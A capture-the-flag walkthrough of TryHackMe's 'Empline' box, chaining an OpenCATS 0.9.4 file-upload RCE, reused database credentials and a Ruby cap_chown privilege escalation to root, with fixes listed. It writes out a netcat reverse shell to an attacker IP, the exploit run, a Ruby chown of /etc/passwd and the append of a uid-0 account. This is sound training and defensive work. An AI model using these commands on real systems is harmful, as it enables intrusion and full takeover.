Empline
An OpenCATS 0.9.4 file-upload RCE gives www-data; cleartext DB creds in config.php and a cracked, reused hash give an SSH user; and a cap_chown capability on ruby rewrites /etc/passwd for root.
TryHackMe: Empline — OpenCATS RCE, Reused DB Creds, and a cap_chown Ruby to Root
A walkthrough of TryHackMe’s “Empline”: a hidden OpenCATS job portal falls to a public file-upload RCE, its config file hands over database credentials, a cracked hash gets reused for SSH, and the box ends on an unusual Linux-capability privesc — ruby carrying cap_chown lets us rewrite /etc/passwd**.
Empline is an authorized training machine on TryHackMe; everything here was performed against a legal practice target. Credentials, hashes, and flags are redacted — values shown as
<redacted>orTHM{<redacted>}are real on the box but withheld here.
TL;DR — the whole chain
TL;DR
A vhost job.empline.thm runs OpenCATS 0.9.4 → a public exploit (EDB-50585) uploads a PHP payload through the career-portal feature for unauthenticated RCE as www-data → config.php stores cleartext DB credentials → dump the user table and crack george’s MD5 hash → the same password logs george in over SSH (user flag) → /usr/local/bin/ruby carries the cap_chown capability → a one-line Ruby File#chown makes /etc/passwd george-owned → append a uid-0 account and su into it → root.
The target
export IP=<target-ip>
export ATTACKER_IP=<your-ip>
Three services:
22/tcp OpenSSH 7.6p1
80/tcp Apache 2.4.29 (title: Empline)
3306/tcp MariaDB 10.1.48
The web root points at a careers/jobs site. Adding job.empline.thm to the hosts file reveals an OpenCATS applicant-tracking install — the real attack surface.
The vulnerability: an old OpenCATS, and a capability where a setuid shouldn’t be
Two independent flaws carry the box. The foothold is a known OpenCATS file-upload RCE; the root is a misassigned Linux file capability.
Insight
Linux file capabilities are meant to be a scalpel — a slice of root power granted to one binary instead of full setuid. But /usr/local/bin/ruby here holds cap_chown+ep, which lets any user who runs it change the ownership of any file. Give a general-purpose interpreter cap_chown and you have effectively granted “rewrite the system however you like”: a two-line Ruby script chowns /etc/passwd to yourself, and from there a uid-0 account is one text edit away.
Step 1 — OpenCATS 0.9.4 file-upload RCE → www-data
searchsploit opencats # OpenCATS 0.9.4 - Remote Code Execution -> 50585.sh
./50585.sh http://job.empline.thm
# [+] Version detected: 0.9.4
# [+] Jobs found! Using job id 1
# [+] Payload <rand>.php uploaded!
# [+] Got shell! :D -> uid=33(www-data)
The exploit abuses the career-portal attachment upload to drop a PHP file under the web root, then calls it. Trade the limited webshell for a proper reverse shell and stabilise it:
busybox nc $ATTACKER_IP 4444 -e /bin/bash
# then: python3 -c 'import pty;pty.spawn("/bin/bash")'
Step 2 — cleartext DB creds → crack george
OpenCATS keeps its database login in the clear in config.php:
cat /var/www/opencats/config.php
# define('DATABASE_USER', 'james');
# define('DATABASE_PASS', '<redacted>');
Log into MariaDB and dump the application users:
mysql -u james -p # password from config.php
MariaDB> select user_name,password from opencats.user;
# admin | <md5-hash>
# george | <md5-hash>
# james | <md5-hash>
George’s MD5 cracks offline; the recovered password is the pivot.
Step 3 — reuse the password for SSH (user flag)
ssh george@$IP # george / <redacted> (same as the cracked app password)
george@empline:~$ cat user.txt
# <redacted>
Step 4 — root via cap_chown on ruby
sudo -l is a dead end and the SUID list is unremarkable, but a capability scan is not:
getcap -r / 2>/dev/null
# /usr/local/bin/ruby = cap_chown+ep
Use that capability to take ownership of /etc/passwd, then add a root-equivalent account:
cat > m3.rb <<'EOF'
file = File.new("/etc/passwd","r")
file.chown(1002,1002) # 1002 = george's uid/gid
EOF
ruby m3.rb # /etc/passwd is now writable by george
# create a password hash, then append a uid-0 line
mkpasswd -m SHA-512 '<redacted>' # -> $6$... (hash redacted)
printf 'sang:<redacted-hash>:0:0:root:/root:/bin/bash\n' >> /etc/passwd
su sang
root@empline:~# cat /root/root.txt
# <redacted>
Impact
Critical
Critical — unauthenticated RCE to root. The OpenCATS upload is remote, pre-auth code execution (~CVSS 3.1 9.8, AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H). The cap_chown on ruby is then a direct local root: ownership of /etc/passwd is ownership of the box. Cleartext DB creds and a reused, crackable password glue the two halves together.
Recommended fix
Fix
- Patch/replace OpenCATS 0.9.4 and lock down the upload handler to a non-executable directory with strict type checks — the exploit relies on dropping a
.phpfile under the web root. - Never grant capabilities to general-purpose interpreters.
cap_chownonruby(or python/perl) is equivalent to root. Remove it (setcap -r) and grant capabilities only to narrow, audited binaries. - Keep DB credentials out of world-readable config where a web RCE can read them, and give the app DB user least privilege.
- Don’t reuse passwords across the app database and OS accounts; hash app passwords with a modern KDF, not bare MD5.
Takeaways
- Always run
getcap -r /**.** Capabilities hide privescs that the SUID list andsudo -lnever show —cap_chown,cap_setuid, andcap_dac_overrideon an interpreter are all game over. - App config files are credential stores. The first thing a web RCE should read is the app’s own config; reused DB passwords open OS accounts.
- Owning
/etc/passwdis owning root. Write access (via chown here) lets you mint a uid-0 user in one line. - Public exploits still need version confirmation. Fingerprinting OpenCATS as exactly 0.9.4 is what makes EDB-50585 a one-shot.
Thanks for reading. Empline pairs a textbook web RCE with a rarely-seen capability privesc — a reminder that cap_chown on the wrong binary is every bit as fatal as a setuid shell.